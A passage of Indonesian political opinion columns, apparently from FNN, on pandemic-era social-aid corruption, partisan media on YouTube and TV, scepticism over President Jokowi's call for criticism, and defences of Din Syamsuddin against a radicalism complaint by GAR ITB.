menghabiskan APBN ratusan triliun rupiah tidak cukup kuat menahan laju penurunan konsumsi masyarakat, terutama masyarakat miskin dan rentan miskin. Seperti diketahui, anggaran program PEN tahun 2021 menjadi Rp 627,96 triliun. Program PEN ini meliputi anggaran kesehatan, perlindungan sosial, kegiatan sektoral, pemerintah daerah, dan Kementerian/Lembaga (K/L). Kemudian anggaran untuk mendukung Usaha Mikro Kecil Menengah (UMKM). Lalu ada juga untuk pembiayaan korporasi, dan untuk kegiatan usaha dalam bentuk insentif pajak. Semua berharap, stimulus program perlindungan sosial merupakan salah satu kunci menyelamatkan perekonomian masyarakat dari resesi. Besaran dana yang dikucurkan oleh pemerintah untuk program tersebut akan sangat menentukan apakah masyarakat akan jatuh ke dalam jurang kemiskinan yang semakin dalam atau tidak. Hanya saja sangat disayangkan, baru tahun pertama stimulus program perlindungan sosial dijalankan (2020), dananya sudah dikorupsi Menteri Sosial Julian Peter Batubara dan kawan-kawannya. Mereka melakukan korupsi secara beramai-ramai. Bantuan sosial yang sangat dibutuhkan orang miskin mereka rampok. Oleh karena itu, tuntutan masyarakat agar politisi PDIP itu dihukum mati adalah wajar, pantas dan tepat. Nah, pandemi juga telah menyebabkan jurang antara si kaya dan si miskin semakin melebar. Hal tersebut adalah sebuah kenyataan yang tidak bisa dipungkiri. Hal itu bisa dilihat dari angka-angka, bukan sekedar kata-kata. Lembaga Penjamin Simpanan (LPS) mencatat terjadinya peningkatan tabungan masyarakat di perbankan. Akan tetapi, meningkatnya dana simpanan masyarakat hingga akhir 2020 bisa menjadi indikator tertahannya aktivitas konsumsi masyarakat. Padahal, idealnya setiap akhir tahun, dana simpanan masyarakat turun. Walaupun peningkatan simpanan masyarakat berdampak positif pada kecukupan likuiditas, pertumbuhan dana pihak ketiga di periode akhir 2020 perlu diwaspadai karena mengindikasikan tertahannya konsumsi masyarakat. Fluktuasi ekonomi disinyalir membuat masyarakat masih melihat dan menanti untuk melakukan konsumsi. Berdasarkan laporan LPS, simpanan masyarakat pada 109 bank umum per Desember 2020 naik 10,86% secara year on year (yoy) menjadi Rp 6.737 triliun atau tumbuh 0,53% secara bulanan (month on month/MoM). Rincian berdasarkan nominal, simpanan di bawah Rp 100 juta naik 2,76% secara MoM atau 8,06% secara tahunan menjadi Rp 954 triliun. Di sisi lain, simpanan dengan nominal di atas Rp 5 miliar terpantau turun 1,32% MoM, walau secara yoy masih naik 14,19% menjadi Rp 3.207 triliun. Walau simpanan dengan nominal turun, tetapi nilai keseluruhan masih mendominasi. Jadi, meningkatnya jumlah simpanan masyarakat di bank, selain mengindikasikan tertahannya konsumsi, juga sekaligus memperlihatkan ketimpangan ekonomi. Artinya, di saat jumlah penduduk miskin bertambah, orang kaya juga naik. "Yang kaya makin kaya, yang miskin makin miskin." Lirik lagu Rhoma Irama tersebit kini semakin relevan. **

Pertarungan Media Tentang Istana

By Nuim Hidayat PERTARUNGAN politik, selain berlangsung di DPR, kantor-kantor pemerintahan pusat-daerah dan lain-lain, juga berlangsung di media. Baik media ‘mainstream’ maupun media sosial. Dengan ratusan juta pengguna internet di tanah air, media sosial –fb, yoututube, twitter, instagram dan lain-lain- kini tidak kalah serunya dengan ‘media mainstream’. Youtube yang dikelola Deddy Corbuzier atau Hersubeno Arief tidak kalah pamornya dengan TV Kompas. MetroTV yang didanai ratusan milyar, ‘goyang’ dengan Channel Youtube Refly Harun dan seterusnya. Banyak masyarakat kini mulai meninggalkan TV dan ‘memantengi’ handphone tiap harinya. Di media pun kini kebijakan redaksinya (politik media) terbelah. Ada yang oposan dan banyak yang pro istana. Media-media berita mainstream, seperti Kompas TV dan Metro TV pro istana. Sedangkan TVOne cenderung oposan. Tapi karena Aburizal Bakrie mempunyai jaringan bisnis yang ‘menyerempet istana’, TVOne cenderung lebih hati-hati. Bahkan Program ILC yang diasuh Karni Ilyas yang penontonnya jutaan, 2021 ini ditiadakan. Karni menggantinya dengan channel Youtube Karni Ilyas Club (wawancara dan debat tokoh). Kompas TV meskipun punya motto Independen dan Terpercaya, tapi dalam kenyataannya pemberitaannya cenderung pro istana. Media ini sering mengkritisi kebijakan Anies, memuji Ahok, mendukung pembubaran FPI dan lain-lain. Tapi Kompas cerdik. Ia membungkus politik medianya dengan halus. Ia sering menampilkan oposan juga dalam pemberitaannya. Beda dengan Metro TV yang terlihat vulgar politik keredaksiannya mendukung kebijakan istana. Di media sosial, TV yang popular mendukung kebijakan istana dan ‘menghabisi’ oposan adalah Cokro TV. Media TV Youtube ini diawaki oleh Ade Armando, Denni Siregar, Syafiq Hasyim, Ahmad Sahal, Nong Darol dan lain-lain. Ia hampir tiap hari muncul dengan opini-opini yang memojokkan oposan. Habib Rizieq, FPI, Anies Baswedan, Rocky Gerung, Fadli Zon, Ustadz Abdussomad, Gerakan Islamisasi Kampus, PKS dan semacamnya menjadi bahan kritikan dan sinisan bagi mereka. Ade Armando, tokoh utamanya, juga sering mengekspos tokoh-tokoh liberal untuk dijadikan teladan bagi mereka. Seperti Musdah Mulia, Grace Natalie dan lain-lain. Edisi mutakhir mereka mendukung kebijakan istana untuk membubarkan FPI, SKB Tiga Menteri, mendukung pernyataan Jokowi tentang kritik, mendukung kaum Tionghoa dan lain-lain. Jumlah penontonnya ratusan ribu. Kadang sampai 800 ribu. Jumlah subscriber Cokro TV berjumlah 1,19 juta. Di kalangan oposan, TV Youtube yang terkenal minimal tiga. Yaitu : FNN, Hersubeno Point, dan Refly Harun. Forum News Network (FNN) dan Hersubeno Point dikelola mantan wartawan Republika, Hersubeno Arif dan kawan-kawan. Sedangkan Channel Refly Harun diasuh sendiri oleh pakar hukum tata negara, Refly Harun. Channel Yotube Refly Harun jumlah subscribernya juga 1,19 juta. Ia bersama timnya kini tiap hari mengupload opini tentang kondisi politik di tanah air. Terakhir, ia membahas tentang: Ada Fadjroel di GAR ITB, Saat SBY pun Ikut Sumbang Kritik, Eng Ing Eng Beredar Foto Jokowi dan Abu Janda, Karni Ilyas Blok Twitter Fadjroel Ada Apa?, Buzzer itu Bernama Denny Siregar, Din Syamsuddin Radikal Salah Alamat, PKS Tanyakan Gaji Abu Janda dan lain-lain. Penonton channel ini sampai 600-an ribu. FNN jumlah subscribernya 23,6 ribu orang. Sedangkan Hersubeno Point 182 ribu orang. Edisi mutakhir Hersubeno Point di antaranya tentang: Jangan Biarkan ITB Hancur Jadi Institut Teknologi Buzzer, Yang Bener Aja Jokowi Dorong Gibran Nyagub DKI 2022, Channel Hersubeno Point Diserang, Aksi Gerilya Abu Janda Agar Tak Masuk Penjara, Ini Dia Tokoh yang Memelihara dan Menyusupkan Abu Janda, Ketua MUI: Buzzer itu Pemakan Bangkai, SBY: Tindakan Moeldoko Sudah Tidak Bisa Ditolerir dan lain-lain. Selain di Youtube, pertarungan juga terjadi di twitter. Diantara tokoh-tokoh yang aktif dalam twitter adalah : Fadli Zon, Mahfud MD, Rizal Ramli, Hidayat Nur Wahid, Tengku Zulkarnain dan lain-lain. Era keterbukaan informasi ini memungkinkan orang untuk menyampaikan pendapat seluas-luasnya. Karena itu Undang-Undang ITE yang pasal-pasal karetnya menjerat kebebasan berpendapat, harusnya dicabut. Banyak tokoh mengusulkan hal ini, tapi pemerintah dan DPR ‘diam saja’. Kini, presiden dan para menteri menyerukan untuk masyarakat tidak segan mengkritik pemerintah. Para pendukung pemerintah ramai-ramai menyuarakan hal ini, tapi para oposan pesimis. Rocky Gerung menganggap bahwa pernyataan Jokowi itu paradoks karena banyak aktivis ditangkapi. Rizal Ramli mengingatkan tentang politik 1000 bunga Mao Zedong dan di medsos viral pernyataan Presiden diktator Uganda Idi Amin yang menyatakan bahwa kebebasan bicara dijamin, tapi kebebasan setelah bicara tidak dijamin. Meski Menkopolhukam Mahfud MD menyatakan bahwa mereka yang mengkritik tidak akan ditangkap, para oposan tetap meragukan. Mereka menyatakan bahwa kalau pemerintah menghormati kebebasan berbicara, harusnya pemerintah membebaskan Jumhur Hidayat, Syahganda, Habib Rizieq dan pimpinan FPI dan lain-lain. Wallahu azizun hakim. Penulis buku "Agar Batu-Bata Itu Menjadi Rumah Yang Indah".

Pak Jokowi Minta Dikritik, Hipokrisi Dalam Demokrasi?

by M. Rizal Fadillah Bandung FNN - Dalam sambutan di acara Ombudsman, Presiden Jokowi berpidato yang terlihat hebat dan mantap. Diantaranya Presiden Jokowi meminta masyarakat untuk memberi masukan dan aktif mengkritik pemerintah. Sikap yang sangat luar biasa dalam menghadapi perbedaan pendapat dengan masyarakat, terutama kalangan oposisi civil society dan pers. Permintaan tersebut ditanggapi masyarakat beragam. Sayangnya, lebih banyak yang bersikap sinis daripada bahagia. Angin politik sepoi-sepoi ini membuat mata terbelalak. Bak mimpi di siang bolong. Bukan terkejut, tetapi tak percaya. Bahkan senyum sambil tertawa kecil. Apakah gerangan yang main dimainkan lagi oleh Presiden kita ini? Mantan Wakil Presdien (Wapres) Jusuf Kalla (JK) mempertanyakan bagaimana caranya mengkritik itu tanpa ditangkap oleh polisi. Sebab terlihat Jokowi seolah-oleh membuka pintu untuk dikritik. Tetapi tombak penjara siap menancap di dada bagi mereka yang masuk dari pintu yang terbuka. Sebab tidak sesuai antara yang diomongin dengan kenyataan yang terjadi. Sejumlah tokoh oposisi yang berbeda pendapat dengan pemerintah masih mendekam di dalam penjara. Tecatat Habib Rizieq Shihab (HRS), Syahganda Nainggolan, Jumhur Hidayat, Anton Permana, Ustazah Kingkin, Gus Nur dan lain-lain telah lebih dulu ditahan polisi. Bahkan Ustadz Maheer sampai-sampai meninggal di dalam Rumah Tahanan (Rutan) Badan Reserse Kriminal (Bareskrim) Polri. Hanya berselang beberapa sebelum atau sesudah himbauan agar pemerintah dikritik dengan keras, lima mantan pengurus Front Pembela Islam (FPI) kembali ditahan penguasa. Penahanan dengan delik yang sangat ece-ece, yaitu pelanggaran Protokol Kesehatan (Prokes). Makanya, pertanyan Pak Jusuf Kalla itu sebenarnya sebagai sindiran terhadap orang yang paling tau prilaku Pak Jokowi yang tidak seiya sekata. Dulu Pak Jokowi juga mengatakan rindu untuk didemo. Jejak digitalnya masih ada sampai kini. Tetapi ujungnya pendemo babak belur, ditangkap, bahkan tewas ditembak oleh aparat. Wajar saja kalau masyarakat skeptis dengan pemintaan Pak Jokowi agar pemerintah dikritik dengan keras itu. Tentu ada tiga skenario dari permintaan Jokowi untuk dikritik tersebut. Pertama, memang Jokowi dan lingkaran elit telah sadar bahwa tanpa kritik, kehidupan demokrasi bergeser menjadi otokrasi. Itu berarti tercatat dalam sejarah, bahwa di eranya pemerintahan Jokowi, telah mengingkari amanat Konstitusi. Meskipun demikian, masih lebih baik terlambat diperbaiki, daripada tidak sama-sekali. Better late than never. Kedua, pemeritahan Jokowi terpaksa membuka pintu kritik, karena putus asa menghadapi kenyataan ketidakmampuan dalam mengelola negara dengan baik dan benar. Masalah kesehatan, ekonomi, hukum, dan politik hancur-berantakan tak terkendali. Masih terbuka sedikit celah untuk meminta maaf kepada publik, ya hanya dengan terpaksa membuka pintu kritik. Ketiga, nah ini yang paling banyak diduga masyarakat. Kritik memang dibuka luas dan lebar. Tetapi setelah itu dibungkam dengan masif. Merujuk pada cara Presiden diktator Uganda Idi Amin yang menyatakan “menjamin kebebasan berbicara, tetapi tidak menjamin kebebasan setelah bicara”. Prilaku yang mirip sama juga dilakukan oleh pemimpin Cina Mao Zedong. Mao Zedong menyatakan “membiarkan bunga mekar, setelah itu bunga semua dipetik. Para pengeritik terhadap kekuasaan Mao zedong dibantai habis setelah diberi kebebasan untuk mengkritiknya. Semoga pengalaman buruk pada Idi Amin dan Mao Zedong tidak terjadi di Indonesia. Makanya tidak berlebihan bila Pak Jusuf Kalla mengingatkan agar tanya lagi “bagaimana caranya agar tidak dipanggil polisi”? Skenario Ketiga inilah yang paling dikhawatirkan rakyat. Berangkat dari ketidakpercayaan terhadap janji-janji kampanye dan juga kinerja Pak Jokowi. Apalagi Jokowi dikenal sebagai Presiden yang inkonsisten. Mencla-mencle sebutannya. Pidato Jokowi dianggap hanya main-main. Karena di bawah mimbar pidato itu masih ada dua anjing galak yang terus menggonggong, yakni buzzer dan UU ITE. Pada sisi lain, paradigma Polisi belum berubah untuk reformasi kultural. Masih seperti tentara di eranya Orde Baru 32 tahun lalu. Polisi masih menjadi alat pemerintah. Bukan sebagai bukan alat negara. Artinya, penegakan hukum dapat dimanfaatkan sebagai alat pemenuhan keinginan politik pragmatik. Digunakan untuk menekan dan menghukum lawan-lawan politik semata. Jadi permintaan untuk aktif kritik, dan masukan sebagaimana diungkapkan Jokowi di acara Ombudsman dinilai bertendensi untuk memproteksi. Sepanjang masih banyak tokoh dan aktivis dipersekusi dan berada dalam jeruji besi, undang undang pengancam terus unjuk gigi, serta aparat yang gemar dan hobby mengeksekusi, maka permintaan untuk dikritik tetap menjadi sebuah hipokrisi dalam demokrasi. Rakyat menuntut bukti dan tidak butuh basa basi. Sebaiknya jangan tebarkan PHP lalgi. Toh, sudah terlalu banyak janji-janji kampanye yang tidak tersealisasi. Pagi tempe, sore dele. Penulis adalah Pemerhati Politik dan Kebangsaan.

GAR ITB: Jangan Plintat-Plintut, Bantah Ini Bantah Itu

by Asyari Usman Medan, FNN - Gerakan Anti Radikal (GAR) Institut Teknologi Bandung (ITB) sekarang mengatakan bahwa mereka tidak melaporkan Pak Din Syamsuddin ke Komisi Aparatur Sipil Negara (KASN) atas dugaan radikalisme. Melainkan terkait pelanggaran kode etika sebagai pegawai negeri sipil. Mulai mencla-mencle. Padahal, laporan mereka itu diproses oleh KASN di jalur radikalisme. Bukan jalur pelanggaran etika. Laporan mereka ke KASN disampaikan kepada Menkominfo Johnny G Plate sebagai Koordinator Tim Satgas Radikalisme. Ini mau kalian bantah? Kurang ‘clear’ apalagi bahwa kalian melaporkan Pak Din soal radikalisme? Tidak usah jauh-jauh. Nama kelompok Anda saja Gerakan Anti Radikalisme. Apa iya kalian mengurusi aparatur negara yang melanggar kode etik dengan nama organiasi yang menyertakan kata ‘radikalisme’? GAR ITB, Anda janganlah plintat-pintut. Selain plintat-plintut, GAR juga sibuk melepaskan diri dari nama ITB yang mereka bawa-bawa. Bantah itu, bantah ini. Sekarang mereka mengatakan bahwa GAR ITB tidak berada di bawah ITB atau di bawah Ikatan Alumni (IA) ITB. Tapi, mengapa sejak awal dibawa-bawa nama ITB? Apa tujuan Anda? GAR ITB terbirit-birit setelah banyak orang, termasuk para pejabat tinggi pemerintah, menolak labelisasi bahwa Pak Din seorang yang radikal. Menko Polhukam Mahfud MD saja menegaskan bahwa Din Syamsuddin tidak memiliki pandangan radikal. Selain Mahfud, Prof Azyumardi Azra, pimpinan PBNU dan bahkan Menag Yakut Qoumas pun tak sependapat kalau Pak Din dicap radikal. Ada yang agak lucu. Juru bicara GAR ITB Shinta Madesari mengatakan bahwa Mahfud mungkin belum membaca laporan mereka ke KASN. Kelihatannya, yang benar adalah Anda dan semua pendukung GAR ITB tidak pernah membaca riwayat Pak Din Syamsuddin. Asal tuding radikal. Tanpa mencermati kiprah tokoh dialog antarumat bergama itu. Saking intensifnya Pak Din terlibat dalam dialog panjang antarumat beragama itu, sampai-sampai banyak orang menyangka beliau orang liberal. Pak Din berteman dan bermitra dengan banyak tokoh internasional dari agama-agama besar dunia. Kalau semua orang bersaksi bahwa Pak Din bukan orang radikal, berarti GAR ITB telah melakukan ujaran kebencian. Sekaligus membuat dan menyebarkan hoax tentang mantan ketua MUI itu. Tentu ini ada konsekuensi hukum yang harus dipikul oleh GAR ITB.[] Penulis adalah Wartawan Senior FNN.co.id.

Din Syamsuddin Penggagas Konsep “Darul Ahdi Was Syahadah”

by M. Hatta Taliwang Jakarta FNN - Hubungan saya dengan Prof. Din Syamsuddin sudah lama, sehingga saya punya catatan panjang tentang sosok ini. Tak elok saya ceritakan detail. Saya memang satu daerah dengannya, dari Nusa Tenggara Barat (NTB). Jadi, saya banyak tahu riwayatnya sejak muda hingga sekarang. Tetapi tak ingin menceritakan hal-hal yang khusus. Saya hanya ingin ikut menjawab tuduhan terhadap Prof Din Syamsuddin yang dituduh radikal-radikul. Sepertinya pelapor Prof. Din Syamsuddin yang mengatasnamakan Gerakan Anti Radikalisme (GAR) Alumni Institut Teknologi Bandung (ITB) ke Komite Aparatur Sipil Negara (KASN) tidak memahami makna radikal dan radikalisme. Mungkin juga karena kurang baca berita di koran, televisi, atau media online. Sebab Prof. Din Syamsuddin justeru merupakan tokoh Islam yang sangat moderat. Prof Din Syamsuddin adalah penggagas konsep Negara Pancasila sebagai Darul Ahdi was Syahadah (Negara Kesepakatan dan Negara Kesaksian). Konsep ini kemudian disepakati oleh Muktamar Muhammadiyah tahun 2015 sebagai pedoman umat Islam untk mengisi Negara Pancasila. Gagasan ini dipidatokan kembali di Gedung MPR pada tanggal 1 Juni 2012 atas undangan Ketua MPR Taufik Kiemas. Pandangan yang sama dipidatokan Prof. Din Syamsudin lagi di Universitas Al-Azhar, Kairo Mesir pada konperensi internasional tentang pembaharuan pemikiran Islam. Prof. Din Syamsuddin dikenal sering menghimpun para tokoh lintas agama dan berbagai elemen kemajemukan bangsa untuk kerukunan dan kebersamaan. Saya sering diundang pada diskusi yang menghadirkan berbagai tokoh lintas agama. Dalam kaitan ini, Prof. Din Syamsudin juga memprakarsai pembentukan Inter Religious Council (IRC) Indonesia, dan menyelenggarakan Musyawarah Besar Pemuka Agama-Agama untuk kerukunan bangsa yg melahirkan berbagai kesepakatan penting. Prof. Din Syamsuddin dikenal sebagai tokoh perdamaian dunia. Antara lain dibuktikan memprakarsai Pertemuan Puncak Ulama dan Cendekiawan Muslim Sedunia tentang Wasatiyat Islam (Islam Jalan Tengah). Pertemuan yg menghasilkan Pesan Bogor ini sangat penting utk mengarus dan mengutamakan Jalan Tengah dalam beragama. Lewat lembaga yg dipimpin Prof. Din Syamsuddin, yaitu Centre for Dialogue and Cooperation among Civilizations, menyelenggarakan World Peace Forum tujuh kali, sejak 2006 sampai dengan 2018. Forum yang menghadirkan para tokoh dari berbagai negara. Yang terakhir mengangkat tema The Middle Path for The World Civilization, yang antara lain mempromosikan Pancasila untuk menjadi ideologi dunia. Selanjutnya Prof. Din Syamsudin aktif dalam dialog antar agama dan peradaban. Bahkan sampai dengan sekarang menjadi President of Asian Conference on Religions for Peace(ACRP) yang berpusat di Tokyo Jepang. Jugad Co-President of Religions for Peace International yang berpusat di New York Amerika. Dalam kapasitas ini, Prof Din Syamsuddin diundang berpidato di PBB mewakili Islam dalam rangka World Interfaith Harmony Week. Selaiun itu, Prof. Din Syamsudin diundang untuk bverpidato pada konpererensi Organisasi Katholik Dunia di Assisi, yang dihadiri Paus Fransiscus. Juga berpidato pada General Assembly World Jewish Congress di Buddapest. Minggu lalu menjadi pembicara pada Perayaan Hari Persaudaraan Sedunia yg diadakan oleh The Higher Committee for Humanity Fraternity. Masih banyak lagi forum internasional yang dihadirinya, sehingga banyak menerima penghargaan dari beberapa negara. Sebagai Ketua Umum Pengurus Pusat (PP) Muhammadiyah selama dua periode berturut-turut, sejak tahun 2005-2015. Ketua Umum Mejelis Ulama Indonedsia (MUI) tahun 2014-2015), dan Ketua Dewan Pertimbangan MUI tahun 2015-2020. Prof. Din Syamsuddin dikenal sebagai tokoh Muslim moderat seperti wawasan keagamaan Muhammadiyah. Tentu sebagai tokoh Islam dan akademisi, Prof. Din Syamsuddin sangat concerned membela kebenaran dan keadilan. Maka beliau tidak segan-segan mengeritik penyimpangan dan penyelewengan terhadap Pancasila dan UUD 1945, yang diyakininya sebagai amar ma'ruf nahyi munkar. Sangat terkenal dan konsisten dengan sikap yang demikian. Bagi yang memahami dunia akademik dan pergerakan Islam, memahamai radikalisme secara benar, maka tidak akan ceroboh menuduh Prof. Din Syamsuddin radikal. Kritis atas kebijakan pemerintah dengan data dan fakta obyektif yang disajikan tidaklah memadai untuk menjadikan itu sebagai hal yang radikal. Apalagi jika dikaitkan dangan prinsip demokrasi dan UUD45 yang memberi tempat untuk mengemukkan pendapat secara bebas dan bertanggung jawab. Prof. Din dalam berbagai percakapan dengan kami, sering mengatakan sudah selesai dengan urusan dunia. Sehingga hemat kami, Prof Din dipecat dari ASN dan berhenti mengajar di FISIP UIN Jakarta tidak akan menjadi masalah baginya. Kami yakin banyak Universitas Swasta di dalam dan luar negeri akan menawarkan posisi sebagai dosen untuk Prof. Din Syamsuddin. Dugaan kami justru FISIP UIN Jakarta akan rugi karena Prof. Din Syamsuddin adalah satu-satunya Guru Besar di Prodi Hubungan Internasional saat ini. Sehingga tidak etis jika ada sekelompok alumni sebuah Perguruan Tinggi yang mengadukan dosen atau Guru Besar Perguruan Tinggi lain atas alasan yang mengada-ada, tak proporsional dan absurd, misled and misleading. Bisa saja orang luar ada yang berspekulasi dan berasumsi, apakah ulah kelompok ini merupakan bagian dari operasi intelijen atau kerja dari buzzer bayaran? Atau mereka disponsori oleh pihak yang diketahui tidak menyukai Prof. Din Syamsuddin berada di Majelis Wali Amanat (MWA) ITB sebagai penjelmaan pertarungan aliran keagamaan dan politik di lingkungan kampus? Dugaan kami, perlakuan tidak adil terhadap Prof Din Syamsudin dengan mendongkelnya dari ASN, justru menguntungkan kelompok oposisi. Sebab akan membuat Prof Din Syamsuddin lebih bebas dan leluasa menggerakkan kelompok oposisi menghadapi kezaliman penguasa. Penulis adalah Direktur Eksekutif Institut Soekarno Hatta.

Kebangsaan Din Syamsuddin Memang Radikal & Mendasar

by Poetra Adi Soerjo Sumbawa FNN - Saya berasal dari Sumbawa Nusa Tenggara Barat (NTB). Sekampung dengan Prof. Din Syamsuddin, dan banyak berinteraksi dengan berbagai aktivitas dan pikiran beliau. Purna sebagai Ketua Umum Pengurus Pusat (PP) Muhammadiyah, Prof. Din Syamsuddin lebih banyak pulang kampung, mengabdikan diri membangun generasi. Beliau mendirikan dan sekaligus menjadi pengasuh Pesantren Modern Internasional Dea Malela. Psantren yang santrinya datang dari seluruh penjuru dunia, demi membangun satu generasi Islam berkemajuan. Generasi yang bisa menebar rahmat bagi seluruh alam. Di Pesantren ini salah satunya saya banyak berjibaku dengan pikiran pikiran Prof. Din Syamsudin. Tidak hanya terkait agama dan kebangsaan, tetapi juga dunia dan peradaban. Dalam berbagai interaksi tersebut, saya berkesimpulan, memang pemahaman agama dan kebangsaan Prof. Din Syamsuddin sangat "radikal". Radikal itu berasal dari kata dalam bahasa Latin yaitu radix yang berarti akar. Orang yang berpikir radikal artinya memahami konteks sebuah pemikiran secara dalam, utuh dan menyeluruh. Tidak hanya sebatas epistemoligi dan axiologi, tetapi hingga ke akar (ontologis) dari pemikiran tersebut. Dalam artian inilah saya memandang pemahaman keagamaan dan kebangsaan Prof. Din Syamsuddin memang sangat dalam, kuat dan mengakar (radikal). Prof. Din Syamsuddin bukanlah orang yang gamang dalam memahami setiap disiplin keilmuan. Beliau memiliki pemahaman keagamaan dan kebangsaan yang dalam, utuh dan holistik. Sebagai seorang Profesor, Din Syamsuddin memiliki segala tools dan metodologi dalam memahami akar dari berbagai subjek dan disiplin ilmu. Apalagi terkait agama dan kebangsaan. Pengalaman menempa Prof. Din Syamsuddin dengan sangat sempurna untuk memiliki pemahaman yang utuh dalam memahami relasi agama dan negara, peradaban barat. Menyelesaikan studi di Pondok Modern Darusalam Gontor, Strata Satu di UIN Syarif Hidayatullah, Master dan Phd di California University Amerika Serikat, menjadikan pikiran-pikiran beliau selama ini telah menjadi jembatan pengertian yang mendamaikan peradaban pengetahuan Timur dan Barat. Islam yang demokrasi dan pembangunan. Untuk itulah Prof. Din Syamsuddin memiliki pergaulan internasional yang luas dan telah menjadi tokoh dan duta perdamaian dunia. Terlalu lama kita sebagai negara bangsa disibukkan dengan definisi yang salah dalam menempatkan kata radikal. Kesalahan membangun definisi radikal inilah yang membuat riuh. Seperti tuduhan radikal yang dialamatkan ke Prof. Din Syamsuddin. Mereka menyamakan kata radikal dan radikalisme dengan ekstrim dan ekstrimisme. Ekstrimisme adalah sikap melampaui batas moderasi dan cenderung menggunakan kekerasan, maka disebut violent extremism. Radikal dalam beragama sebagaimana asal katanya haruslah dimaknai sebagai sebuah sikap bertumpu dan berorientasi pada dasar atau akar agama (ushuluddin). Sementara radikal dalam bernegara adalah konsisten dalam menegakkan dasar negara dan konstitusi. Dalam pengertian inilah saya mengakui Prof. Din Syamsuddin sebagai seorang yang beragama dan bernegara secara radikal. Namun demikian, jika diajukan pemahaman yang keliru atas kata radikal seperti segelintir yang difahami sebagian alumni ITB yang bergabung dalam GAR, maka itu salah kaprah dan sesat-menyesatkan. Sikap kelompok ini justru sebuah sikap yang ekstrim, karena melampaui batas. Itulah penyakit intlektual hari ini yang kurang radikal dalam memahami disiplin ilmu. Kurang radikal dapat disebut sebagai dangkal atau tanggung atau tidak utuh memahami akar dari berbagai pemahaman dan peta pemikiran. Pemahaman yang tidak radix atau dangkal inilah yang membuat seseorang menjadi ngambang, gamang dan mudah digoyang. Dari sinilah justru ekstrimisme itu lahir. Ekstrimisme dalam sejarahnya selalu lahir dari orang-orang yang tidak memiliki tradisi berpikir yang mendasar (radix). Karena kedangkalan berpikir itulah yang membuat mereka gamang dan mudah distir atau dibelokkan menjadi ekstrimis. Jika orang memiliki dasar pikiran yang kuat dengan tradisi berpikir yang baik dan mengakar (radix), maka dia tak akan mudah terjebak menjadi ekstrimis. Ingat, radikal dan ekstrim ini adalah dua terma yang jauh berbeda. Radikal sama sekali bukanlah ekstrimisme. Radikalisme berpikir memang akan melahirkan sikap kritis karena keutuhan dalam memahami konsepsi, dan adalah kemunduran ke era jahiliyah, jika tradisi berpikir kritis dipandang sebagai ekstrimisme. Apalagi labeling radikalis dewasa ini cenderung disematkan hanya karena berbeda pendapat dengan kekuasaan. Para intlektual yang tidak radix dan atau dangkal dalam berpikir inilah yang suka genit menggunakan terma radikal tidak pada tempatnya. Orang-orang yang dangkal dalam berpikir terlalu banyak berbicara terkait sesuatu yang dia sendiri tidak memahami apa yang sedang dibicarakan. Lebih jauh lagi, tradisi berpikir yang tidak radix dalam jangka waktu yang lama telah menciptakan peradaban masyarakat dengan pribadi yang lemah dan hipokrit. Pagi bicara tahu sore bicara tempe. Apa yang menjadi keyakinan hatinya berbeda dengan yang terucap. Berbeda lagi dengan apa yang menjadi tindakannya. Pikiran, perkataan dan perbuatan tidak lahir dari keyakinan hati yang mantap. Namun lahir dari utuhnya pemahaman dan konsepsi. Untuk itulah Islam mengajarkan kita kaffah atau menyeluruh atau radix dalam pikiran dan pemahaman, tidak boleh dangkal dan separuh. Seperti dalam puisi seorang jomblo yang kesepian "aku lelah menjadi separuh". Orang yang separuh memang nelangsa. Dalam kapasitas Prof Din Syamsuddin sebagai seorang ASN, apakah beliau tidak boleh kritis dan berbeda pendapat dengan pemerintah? Banyak orang yang tak sadar bahwa dunia akademisi adalah panggung mimbar bebas. Panggung yang lepas dari intervensi negara dan pasar. Seorang akademisi bebas menyampaikan thesis yang dibangunnya, apapun temuan dan dalam forum apapun itu. Jangan karena seseroang terikat dengan norma sebagai seorang ASN, laku harus mengatakan demokrasi telah berjalan dengan baik, meski sebenarnya sedang jatuh pada titik nadirnya hanya karena dia tidak boleh berbeda pendapat dengan kekuasaan sebagai seoramg ASN. Untuk itulah ada UU yang lex specialis bagi guru dan dosen yang meski sebagai seorang ASN. Namun tetap bebas menyampaikan apapun temuan yang didasarkan pada indikator indikator ilmiah yang dibangun. Di Pondok Modern Internasional Dea Malela, Prof. Din Syamsuddin telah dan sedang membangun generasi muda yang kuat dalam berpikir. Kokoh dalam berpendirian. Berkarakter dalam bersikap, dan terbuka dengan berbagai perbedaan. Prof. Din Syamsuddin adalah orang yang sudah, sedang dan terus berbuat untuk membangun generasi bangsa yang berkarakter. Generasi dengan tradisi berpikir yang terbuka dan komplek. Generasi yang tidak rapuh menghadapi dalam menghadapi problematika kebangsaan dan keagamaan di era post truth. Era dimana kita sedang menyaksikan orang-orang tak lagi memahami apa yang sedang dibicarakan. Apalagi untuk memahami orang lain. Jauh dari yang diharapkan. Prof. Din Syamsuddin telah menjadi figur dan tokoh dunia dalam isu perdamaian dan kemanusiaan yang universal. With or with out state, Prof. Din Syamsuddin sebagai pribadi telah menjadi rujukan bagi terbangunnya jembatan pengertian antar peradaban. Betapa ruginya Indonesia, jika seorang tokoh yang dikenal dunia sebagai simbol perdamaian dan telah berkonstribusi besar dalam berbagai konflik dunia justru di-blackmail di negaranya sendiri. Negara harusnya mengambil untung dari keberadaan dan pergaulan internasional Prof. Din Syamsuddin yang telah menjadi duta dunia. Faktanya Indonesia selama ini telah diuntungkan dari berbagai aktivitas Prof. Din Syamsuddin di dunia Internasional. Penjurubicaraan beliau atas isu-isu perdamaian telah membawa harum dan atau setidaknya menutup banyak bopeng wajah demokrasi Indonesia selama ini. Karena dalam kapasitasnya berbicara sebagai penyeru perdamaian, solidaritas, toleransi dan HAM. Prof. Din Syamsuddin tetaplah direkognisi dunia sebagai orang Indonesia dan sekaligus sedang menjurubicarai Indonesia. Sehingga lucu jika emas yang telah menjadi duta Indonesia di berbagai forum dunia justru dirusak dengan labelling radikal dalam pengertian yang sempit di negerinya sendiri. Dilabeli dengan pengertian radikal dengan basis definisi yang contradictio in terminis. Definisi yang sebenarnya sedang menpertontonkan kedunguan kita sebagai bangsa dalam peradaban pengetahuan. Penulis adalah Anak Muda Sumbawa & Direktur Eksekutif Open Parliament Institute.

Ketika Segalanya Dipolitisir

